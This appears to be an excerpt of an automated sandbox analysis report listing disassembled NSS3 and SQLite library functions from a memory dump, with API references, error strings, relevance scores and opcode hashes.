Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CAE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAE4E59

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBA300C,00000000), ref: 6CAE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CAE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CAE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAE521A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ee70495f407c0c8fcadc10d0001f7aa91b313d21539700bea55e59a9ecdb97de
Instruction ID: 47a3a17479b5d75c9288e71978bc6045b81a38b53b704f9c5cc70cee0b3a0369
Opcode Fuzzy Hash: ee70495f407c0c8fcadc10d0001f7aa91b313d21539700bea55e59a9ecdb97de
Instruction Fuzzy Hash: C4F16A71E002098FDB04CF99E8407AEB7B6BF48358F294169E915AB781E775E9C1CBD0

Function 6CAE0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CAE2C2A), ref: 6CAE0C81

Part of subcall function 6CACBE30: SECOID_FindOID_Util.NSS3(6CA8311B,00000000,?,6CA8311B,?), ref: 6CACBE44

Part of subcall function 6CAB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAB95DC,00000000,00000000,00000000,?,6CAB95DC,00000000,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAE0CC4

Part of subcall function 6CACFAB0: free.MOZGLUE(?,-00000001,?,?,6CA6F673,00000000,00000000), ref: 6CACFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CAE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CAE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CAE0D7D
free.MOZGLUE(00000000), ref: 6CAE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAE0DC1
free.MOZGLUE(00000000), ref: 6CAE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAE0E0F

Part of subcall function 6CAB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB95E0
Part of subcall function 6CAB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CA97F4A,00000000,?,00000000,00000000), ref: 6CAB95F5
Part of subcall function 6CAB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAB9609
Part of subcall function 6CAB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAB961D
Part of subcall function 6CAB95C0: PK11_GetInternalSlot.NSS3 ref: 6CAB970B
Part of subcall function 6CAB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAB9756
Part of subcall function 6CAB95C0: PK11_GetIVLength.NSS3(?), ref: 6CAB9767
Part of subcall function 6CAB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAB977E
Part of subcall function 6CAB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAB978E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 3c892077aee2e21b8d6b6a06055f291930f2dc1e363d023c11a45146ec307659
Instruction ID: 5cb7957e8a9e7873ae080bb38f6178efb878127cc3bebd4a028a72005f92f572
Opcode Fuzzy Hash: 3c892077aee2e21b8d6b6a06055f291930f2dc1e363d023c11a45146ec307659
Instruction Fuzzy Hash: 6D41D5B1D00245ABEB009F65DD85BAF7678EF4830CF180128ED1567741EB35EA98DBE2

Function 6CA74FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBC0148,?,6CA86FEC), ref: 6CA7502A
PR_NewLock.NSS3(00000001,00000000,6CBC0148,?,6CA86FEC), ref: 6CA75034
PL_NewHashTable.NSS3(00000000,6CACFE80,6CACFD30,6CB1C350,00000000,00000000,00000001,00000000,6CBC0148,?,6CA86FEC), ref: 6CA75055
PL_NewHashTable.NSS3(00000000,6CACFE80,6CACFD30,6CB1C350,00000000,00000000,?,00000001,00000000,6CBC0148,?,6CA86FEC), ref: 6CA7506D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 91fb1c1e404ed12113d05f42b81be16949b4f095a10db779be37f6464d1fcbc1
Instruction ID: f90ec20d71742e038c106e1a21161163f613699532537339293e43c9f62e94c8
Opcode Fuzzy Hash: 91fb1c1e404ed12113d05f42b81be16949b4f095a10db779be37f6464d1fcbc1
Instruction Fuzzy Hash: 1F31F6B5B412A09BEB249B65CD2EB4737B8BB27748F058134E91583640D374EC85CBF2

Function 6CA12E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA12F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA12FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA13005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA13131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA13178

Strings

%s at line %d of [%.10s], xrefs: 6CA13171
database corruption, xrefs: 6CA1316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA13022, 6CA13156, 6CA13162, 6CA1318A, 6CA13196, 6CA131A2, 6CA131AE, 6CA131BA, 6CA131C6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b96deb2f0b4f139d39f361cbc47c2ca07b73fa51dbce891c8928cebfb925af8d
Instruction ID: 1f095c221da71baf7ea3ad254d878fa60f7d4c44cce0e528688e56a14924deb7
Opcode Fuzzy Hash: b96deb2f0b4f139d39f361cbc47c2ca07b73fa51dbce891c8928cebfb925af8d
Instruction Fuzzy Hash: D8B1A2B4E0A2199BCF08CF9DC884AEEB7B1BF48314F244029E445B7B41D774A981CBA4

Function 6C9F2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C9F24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C9F2315), ref: 6C9F254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C9F2315), ref: 6C9F256C

Strings

API called with finalized prepared statement, xrefs: 6C9F2543, 6C9F254D
misuse, xrefs: 6C9F2561
%s at line %d of [%.10s], xrefs: 6C9F2566
API called with NULL prepared statement, xrefs: 6C9F253C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9F24F4, 6C9F2557
bind on a busy prepared statement: [%s], xrefs: 6C9F24E6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: e9c320f3aef80c723c2feaad13c51afa2037a8f7d48b3168a708bee1d0ac7e91
Instruction ID: 5cef13ee6cab0b68b0942f53869123e377f28b32a07a4d2e0c75c0fd4c6af679
Opcode Fuzzy Hash: e9c320f3aef80c723c2feaad13c51afa2037a8f7d48b3168a708bee1d0ac7e91
Instruction Fuzzy Hash: 34413671704A40DBE7108F69DC98B6673BAAF81318F18053CE8A55FB40DB7AE807CB91

Function 6C9F6600 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,NULL), ref: 6C9F6C66
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0001F490,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9F6C83

Strings

misuse, xrefs: 6C9F6C78
%s at line %d of [%.10s], xrefs: 6C9F6C7D
invalid, xrefs: 6C9F6C95
API call with %s database connection pointer, xrefs: 6C9F6C60
NULL, xrefs: 6C9F6C55, 6C9F6C5F
unopened, xrefs: 6C9F6C9F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9F6C6E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 632333372-4248800309
Opcode ID: fbe4143f120e2c750c85b918882cd68ab04e18782b92430df254d1b03c1fdc7e
Instruction ID: f15590cff405a3b410de0c1bcb13248d62349562fc205d0237d2c69eb8b1ceb6
Opcode Fuzzy Hash: fbe4143f120e2c750c85b918882cd68ab04e18782b92430df254d1b03c1fdc7e
Instruction Fuzzy Hash: 13313A71B043549BDB008E698C517AF7BA9EB46328F144128DA78EBB81D734D947C7D1

Function 6CAA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6CA3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAA6CD5

Strings

C_DigestInit, xrefs: 6CAA6C61
pMechanism = 0x%p, xrefs: 6CAA6CD0
(CK_INVALID_HANDLE), xrefs: 6CAA6C9C
hSession = 0x%x, xrefs: 6CAA6C7E, 6CAA6C8E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 025eb370498d5fc5e60ef70d22e83cdd1f82e9e1cb3fd332ca7fecb936c77a17
Instruction ID: 427d521d55a8719c38e482888a9c9a209131a4df6414ff51ed1e6c4b4a666793
Opcode Fuzzy Hash: 025eb370498d5fc5e60ef70d22e83cdd1f82e9e1cb3fd332ca7fecb936c77a17
Instruction Fuzzy Hash: 02212B34601194BBDB009F98ED58F9E77B5EB47318F484029E80997B01DB34AC8DCB92

Function 6CA70F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA70F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA70F84

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CA8F59B,6CB9890C,?), ref: 6CA70FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CA70FC1

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CA70FDB
PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CA70FEF
PL_FreeArenaPool.NSS3(?), ref: 6CA71001
PL_FinishArenaPool.NSS3(?), ref: 6CA71009

Strings

security, xrefs: 6CA70F5C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 07f4202774f2bf73bb3ff455da1bcf3f9959219ca949fac2a82f7caa0978fbe6
Instruction ID: 5bdc21cecd0a6ce5d6e0210e65aca17c6177cbc20f5174f1b49b80a69b51bd9d
Opcode Fuzzy Hash: 07f4202774f2bf73bb3ff455da1bcf3f9959219ca949fac2a82f7caa0978fbe6
Instruction Fuzzy Hash: 4D2136B5904344ABE7109F28DD41AAE77B8EF45258F048528FC1897701F732E989CBE2

Function 6CA76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CA77D8F,6CA77D8F,?,?), ref: 6CA76DC8

Part of subcall function 6CACFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CACFE08
Part of subcall function 6CACFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CACFE1D
Part of subcall function 6CACFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CACFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CA77D8F,?,?), ref: 6CA76DD5

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CB98FA0,00000000,?,?,?,?,6CA77D8F,?,?), ref: 6CA76DF7

Part of subcall function 6CACB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBA18D0,?), ref: 6CACB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA76E35

Part of subcall function 6CACFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CACFE29
Part of subcall function 6CACFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CACFE3D
Part of subcall function 6CACFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CACFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA76E4C

Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CB98FE0,00000000), ref: 6CA76E82

Part of subcall function 6CA76AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA7B21D,00000000,00000000,6CA7B219,?,6CA76BFB,00000000,?,00000000,00000000,?,?,?,6CA7B21D), ref: 6CA76B01
Part of subcall function 6CA76AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA76B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CA76F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CA76F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CB98FE0,00000000), ref: 6CA76F6B
PR_SetError.NSS3(FFFFE005,00000000,6CA77D8F,?,?), ref: 6CA76FE1

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 1f3593a4eea396b66f3e487b1a3839deab0c58f48ef77bcc2fee322aed67abb9
Instruction ID: 31abe8cda7d3c3ebf4272999cc1eed043e3023277e538bcd28dcbf144fa1f163
Opcode Fuzzy Hash: 1f3593a4eea396b66f3e487b1a3839deab0c58f48ef77bcc2fee322aed67abb9
Instruction Fuzzy Hash: EE717075E106469BDB10CF55CD40BAABBB4BF55308F194229E808D7B11F771EAD8CBA0

Function 6CAB0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB1085
PK11_GetAllTokens.NSS3 ref: 6CAB10B1
free.MOZGLUE(?), ref: 6CAB1107
PR_SetError.NSS3(00000000,00000000), ref: 6CAB1172
free.MOZGLUE(?), ref: 6CAB1182
free.MOZGLUE(?), ref: 6CAB11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CAB11C5

Part of subcall function 6CAB52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CA8EAC5,00000001), ref: 6CAB52DF
Part of subcall function 6CAB52C0: EnterCriticalSection.KERNEL32(?), ref: 6CAB52F3
Part of subcall function 6CAB52C0: PR_Unlock.NSS3(?), ref: 6CAB5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAB11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CAB11F3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 23b7073816fbd6fcdb7c714ea017df6ed9923f40a7522ff408d3bfe3ee7cc093
Instruction ID: 57e3b398b50d49ebad1ba9a4668c142f8dcb688ab72321e7e24e4cfd188247df
Opcode Fuzzy Hash: 23b7073816fbd6fcdb7c714ea017df6ed9923f40a7522ff408d3bfe3ee7cc093
Instruction Fuzzy Hash: 8B6183B4E013459BEB00DF64D945BAEBBB9AF04348F184128EE1DBB741E731E985CB91

Function 6CABADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE10
EnterCriticalSection.KERNEL32(?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CA9D079,00000000,00000001), ref: 6CABAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE7F
TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEF1
free.MOZGLUE(6CA9CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?), ref: 6CABAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAF30

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
